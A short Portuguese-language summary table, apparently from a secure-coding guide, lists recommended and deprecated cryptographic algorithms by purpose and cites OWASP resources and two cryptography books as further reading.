Resumo de Algoritmos Recomendados (2025)
| Propósito | Recomendado | Evitar |
|---|---|---|
| Criptografia simétrica | AES-256-GCM, ChaCha20-Poly1305 | AES-ECB, DES, 3DES, RC4 |
| Hash para senhas | argon2id, bcrypt | MD5, SHA-1, SHA-256 (sem salt) |
| Hash para integridade | SHA-256, SHA-3, BLAKE3 | MD5, SHA-1 |
| Assinatura digital | Ed25519, ECDSA P-256 | RSA-1024, DSA |
| Key exchange | X25519, ECDH P-256 | DH com grupos pequenos |
| HMAC | HMAC-SHA256 | HMAC-MD5 |
Referencias e Fontes
- OWASP Top 10 — https://owasp.org/www-project-top-ten/ — Lista das 10 vulnerabilidades mais criticas em aplicacoes web, atualizada periodicamente
- OWASP Cheat Sheet Series — https://cheatsheetseries.owasp.org/ — Colecao de guias praticos de seguranca cobrindo autenticacao, criptografia, input validation e mais
- “Serious Cryptography” — Jean-Philippe Aumasson — Guia prático de criptografia para engenheiros
- “Cryptography Engineering” — Ferguson, Schneier, Kohno — Design e implementação de sistemas criptográficos